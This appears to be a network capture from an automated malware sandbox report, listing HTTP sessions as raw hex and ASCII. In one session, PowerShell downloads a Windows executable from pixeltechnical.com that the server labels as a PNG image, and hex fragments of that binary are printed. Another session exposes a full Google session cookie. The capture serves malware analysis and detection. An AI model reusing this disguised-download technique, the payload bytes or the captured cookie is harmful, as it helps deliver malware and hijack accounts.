2024-01-26 09:16:06 UTC	16384	IN	Data Raw: 2e 63 61 6c 6c 28 65 29 3a 75 3f 74 28 65 5b 30 5d 2c 6e 29 3a 6f 7d 2c 5f 3d 2f 5e 2d 6d 73 2d 2f 2c 7a 3d 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 55 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 5f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d Data Ascii: .call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}
2024-01-26 09:16:06 UTC	16384	IN	Data Raw: 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 79 65 28 65 29 2c 61 3d 61 7c 7c 79 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4c 65 28 6f 5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 79 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 76 65 28 61 2c 21 66 26 26 79 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 Data Ascii: !==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ye(e),a=a\|\|ye(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ye(c,"script")).length&&ve(a,!f&&ye(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.speci
2024-01-26 09:16:06 UTC	16384	IN	Data Raw: 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 72 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 76 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 72 74 2e 76 61 6c 75 65 3b 76 61 72 20 70 74 2c 64 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 42 28 74 68 69 73 2c 53 2e 61 74 74 72 2c 65 2c 74 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 72 65 6d 6f 76 65 41 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 72 65 6d 6f 76 65 41 74 74 72 28 74 68 69 73 2c 65 Data Ascii: .createElement("input")).value="t",rt.type="radio",v.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return B(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e
2024-01-26 09:16:06 UTC	7875	IN	Data Raw: 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 72 20 5f 74 3d 7b 30 3a 32 30 30 2c 31 32 32 33 3a 32 30 34 7d 2c 7a 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 76 2e 63 6f 72 73 3d 21 21 7a 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 7a 74 2c 76 2e 61 6a 61 78 3d 7a 74 3d 21 21 7a 74 2c 53 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 6f 2c 61 3b 69 66 28 76 2e 63 6f 72 73 7c 7c 7a 74 26 26 21 69 2e 63 72 6f Data Ascii: etClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();v.cors=!!zt&&"withCredentials"in zt,v.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(v.cors\|\|zt&&!i.cro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49723	142.250.105.84	443	6112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:16:06 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=LtGInZ4I4WDrCvCHQBVMHOy4a-sqzpSrMO-Rwr8ezStTz_kfoi2bri7uGdXfNvskAEO_Tj5Jkwl0XSN-qA6MYiGShcDB_vNQOl1bpl3aua7gMrDRvWsHLpAuFBlBnNxTMeen95XElzx3r4myG8p8sgSHdx4NBawYGaI5oFn_dZ8
2024-01-26 09:16:06 UTC	1	OUT	Data Raw: 20 Data Ascii:
2024-01-26 09:16:06 UTC	1799	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jan 2024 09:16:06 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-L_qtLKGYUTcPUoH6KHc83Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist reporting-endpoints: default="/_/IdentityListAccountsHttp/web-reports?context=eJzjMtDikmII1pBiOHxtB5Meyy0mIyCe2_2UaSEQH4x7znQUiHf4eLA4pc9gDQBiIR6Oax_OrmUTeDHtUD8jALzgF_0" Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-26 09:16:06 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2024-01-26 09:16:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49728	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:16:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9F67e8v43TZg97X&MD=7uCBP+AO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-01-26 09:16:13 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 20d54d71-bf40-47ca-946d-507123a3265c MS-RequestId: 197104fd-7ea8-4cb2-808c-b2409063036f MS-CV: w9Cr0+Bo50aaLOQr.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Jan 2024 09:16:13 GMT Connection: close Content-Length: 24490
2024-01-26 09:16:13 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-01-26 09:16:13 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49732	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:16:50 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9F67e8v43TZg97X&MD=7uCBP+AO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-01-26 09:16:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 73563b80-ec40-4ca9-9b4a-a241fab069b5 MS-RequestId: ceb30e9b-493f-45ab-ab63-fa363ba6ec1c MS-CV: 2HpNvWbTM0WSMsQm.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Jan 2024 09:16:50 GMT Connection: close Content-Length: 25457
2024-01-26 09:16:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-01-26 09:16:51 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49735	91.107.214.239	443	7152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:11 UTC	173	OUT	GET /V1x/172988 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pixeltechnical.com Connection: Keep-Alive
2024-01-26 09:17:12 UTC	179	IN	HTTP/1.1 200 OK Date: Fri, 26 Jan 2024 09:17:12 GMT Server: Apache/2.4.41 (Ubuntu) Accept-Ranges: bytes Content-Length: 1661216 Connection: close Content-Type: image/png
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 c8 a2 7d 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 7a 0e 00 00 84 0a 00 00 00 00 00 54 a8 0b 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 19 00 00 04 00 00 c0 e1 19 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd}e"zT@`
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff c7 d0 ff ff a1 ca ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff ff 6a d2 ff Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: 01 3b 44 24 54 7d 14 80 f9 0d 75 0f 31 c9 80 3c 07 0a 0f 94 c1 44 0f 44 e8 01 cd 44 89 ac 24 9c 00 00 00 49 63 f5 48 83 7c 24 70 00 48 89 ac 24 a0 00 00 00 0f 84 23 03 00 00 4d 85 ff 74 57 41 80 3c f7 00 4c 8b 6c 24 70 74 63 41 0f b7 44 f7 01 41 0f b6 4c f7 03 c1 e1 10 09 c1 b8 ff ff ff ff 41 80 7c f7 04 00 74 5e 41 0f b7 54 f7 05 45 0f b6 74 f7 07 41 c1 e6 10 41 09 d6 45 8b 6c b5 00 41 bf ff ff ff ff 41 f7 c5 00 00 10 00 74 59 89 cb 89 c5 eb 5f 48 8b 44 24 70 44 8b 2c b0 44 89 e8 25 ff 01 00 00 b9 ff ff ff ff eb 1e 41 8b 44 b5 00 b9 ff 01 00 00 21 c8 b9 ff ff ff ff 41 80 7c f7 04 00 75 a2 45 8b 6c b5 00 45 89 ef 41 c1 ef 09 41 81 e7 ff 01 00 00 41 be ff ff ff ff 41 f7 c5 00 00 10 00 75 a7 44 89 f3 41 89 ce 44 89 fd 41 89 c7 8a 05 75 30 12 00 84 c0 74 25 Data Ascii: ;D$T}u1<DDD$IcH\|$pH$#MtWA<Ll$ptcADALA\|t^ATEtAAElAAtY_HD$pD,D%AD!A\|uElEAAAAuDADAu0t%
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: cf 48 8b 04 c8 48 89 05 b4 f7 11 00 b0 01 48 89 44 24 28 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 41 89 ff 41 83 c7 01 44 89 ff 8b 44 24 3c 89 fb 39 c7 0f 8d ef 01 00 00 48 8b 4c 24 30 8d 7b 01 39 c7 7d 0c 48 63 c7 48 8b 14 c1 eb 05 0f 1f 00 31 d2 48 63 c3 4c 8b 24 c1 4c 89 e1 41 b8 01 00 00 00 49 89 f1 e8 a6 86 02 00 83 f8 02 74 b1 83 f8 01 74 b6 83 f8 fe 75 17 48 8d 0d 80 78 0f 00 4c 89 e2 e8 f8 a2 ff ff 41 89 df eb 96 0f 1f 00 4c 89 e1 48 8d 15 7e aa 0f 00 e8 11 29 0c 00 85 c0 0f 84 23 02 00 00 4c 89 e1 4c 89 ea e8 fe 28 0c 00 85 c0 0f 84 77 02 00 00 80 3d 5f 26 0e 00 00 74 5c 4c 89 e1 48 8d 15 43 0d 10 00 e8 de 28 0c 00 85 c0 0f 84 e2 01 00 00 4c 89 e1 48 8d 15 2b 0d 10 00 e8 c7 28 0c 00 85 c0 0f 84 cb 01 00 00 4c 89 e1 48 8d 15 0b 0d 10 00 e8 b0 28 0c Data Ascii: HHHD$(f.AADD$<9HL$0{9}HcH1HcL$LAIttuHxLALH~)#LL(w=_&t\LHC(LH+(LH(
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: 00 0f 28 05 18 8a 0d 00 0f 29 44 24 50 0f 28 05 1c 8a 0d 00 0f 29 44 24 30 0f 28 05 20 8a 0d 00 0f 29 44 24 20 66 44 0f 6f 1d 22 8a 0d 00 66 0f 6f 3d 2a 8a 0d 00 66 0f 6f 35 32 8a 0d 00 66 0f 6f 05 3a 8a 0d 00 66 0f 6f 0d 42 8a 0d 00 b8 48 12 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 66 0f 7f 4c 24 40 66 0f 7f 44 24 60 66 0f 7f 74 24 70 66 0f 7f bc 24 80 00 00 00 66 44 0f 7f 9c 24 90 00 00 00 66 0f 6f c1 66 0f ef db 66 0f 68 c3 66 0f 6f c8 66 0f 6f 15 03 8a 0d 00 66 0f d5 ca 66 44 0f 6f 7c 24 40 66 44 0f 60 fb 66 45 0f 6f c7 66 44 0f d5 c2 66 0f 71 d1 08 66 0f 6f 15 fc 89 0d 00 66 0f d5 c2 66 44 0f d5 fa 66 44 0f 6f ea 66 0f 6f 54 24 60 66 44 0f 6f 25 0f 8a 0d 00 66 41 0f ef d4 66 0f 6f 2d 12 8a 0d 00 66 0f 6f dd 66 41 0f 71 d0 08 66 0f 66 da 66 0f 76 Data Ascii: ()D$P()D$0( )D$ fDo"fo=*fo52fo:foBHf.fL$@fD$`ft$pf$fD$foffhfofoffDo\|$@fD`fEofDfqfoffDfDofoT$`fDo%fAfo-fofAqfffv
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: 24 ac 00 00 00 41 83 bf 94 11 00 00 02 75 21 49 8b 8f d0 10 00 00 48 85 c9 74 15 41 b8 02 00 00 00 e8 6a 72 01 00 66 2e 0f 1f 84 00 00 00 00 00 41 80 bf 18 01 00 00 00 74 24 41 b8 01 00 00 00 4c 89 e1 48 8d 94 24 ac 00 00 00 e8 70 58 03 00 41 80 bf 19 01 00 00 00 0f 85 52 35 00 00 48 8b 44 24 30 83 38 00 41 bd ff ff ff ff 44 8b 84 24 ac 00 00 00 0f 85 8a 00 00 00 4c 89 f9 48 8b 94 24 a0 00 00 00 e8 16 d2 ff ff 41 bd ff ff ff ff 3d 3f 00 00 80 0f 84 b6 fe ff ff 41 b8 61 d9 00 00 3d 2a 00 00 80 74 54 3d 21 00 00 80 75 4a 44 8b ac 24 ac 00 00 00 eb 43 48 8d 0d 0e 7c 10 00 48 8d 15 2b 57 10 00 41 b8 d3 0e 00 00 e8 2a 65 0b 00 48 85 ff 0f 85 11 ff ff ff 48 8d 0d 8e 2c 10 00 48 8d 15 09 57 10 00 41 b8 d4 0e 00 00 e8 08 65 0b 00 e9 f3 fe ff ff 41 89 c0 44 89 84 Data Ascii: $Au!IHtAjrf.At$ALH$pXAR5HD$08AD$LH$A=?Aa=tT=!uJD$CH\|H+WAeHH,HWAeAD
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff a4 e8 ff ff 19 e2 ff ff be df ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 47 f1 ff ff be df ff ff 53 f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff ff 2f f1 ff Data Ascii: ///////////////////////////////////////GS/////
2024-01-26 09:17:12 UTC	16384	IN	Data Raw: ff ff 48 8d 0d 19 06 10 00 48 8d 15 e2 d7 0f 00 41 b8 86 17 00 00 e8 e1 e5 0a 00 41 f7 c7 00 00 40 00 0f 84 b7 fe ff ff e9 cb fe ff ff cc cc cc 8a 41 08 3a 42 08 75 4b 8a 41 09 3a 42 09 75 43 8a 41 0a 3a 42 0a 75 3b 8a 41 0b 3a 42 0b 75 33 8a 41 0c 3a 42 0c 75 2b 8a 41 0d 3a 42 0d 75 23 8a 41 0e 3a 42 0e 75 1b 8a 41 0f 3a 42 0f 75 13 8b 02 39 01 75 0d 8b 42 04 33 41 04 a9 ff ff ff 0f 74 03 31 c0 c3 4c 63 41 10 8b 42 10 4d 85 c0 74 28 85 c0 74 24 4c 63 c8 4b 8d 04 80 44 8b 04 81 48 8d 0c 81 4f 8d 0c 89 4e 8d 14 8a 31 c0 46 3b 04 8a 4c 89 d2 74 ce eb 06 41 09 c0 0f 94 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 57 55 53 48 83 ec 38 4c 89 ce 44 89 c3 89 d5 48 89 cf 4c 8b 49 08 4c 3b 09 72 74 48 8b 4f 10 c6 44 24 28 00 48 c7 44 24 20 01 00 00 00 41 Data Ascii: 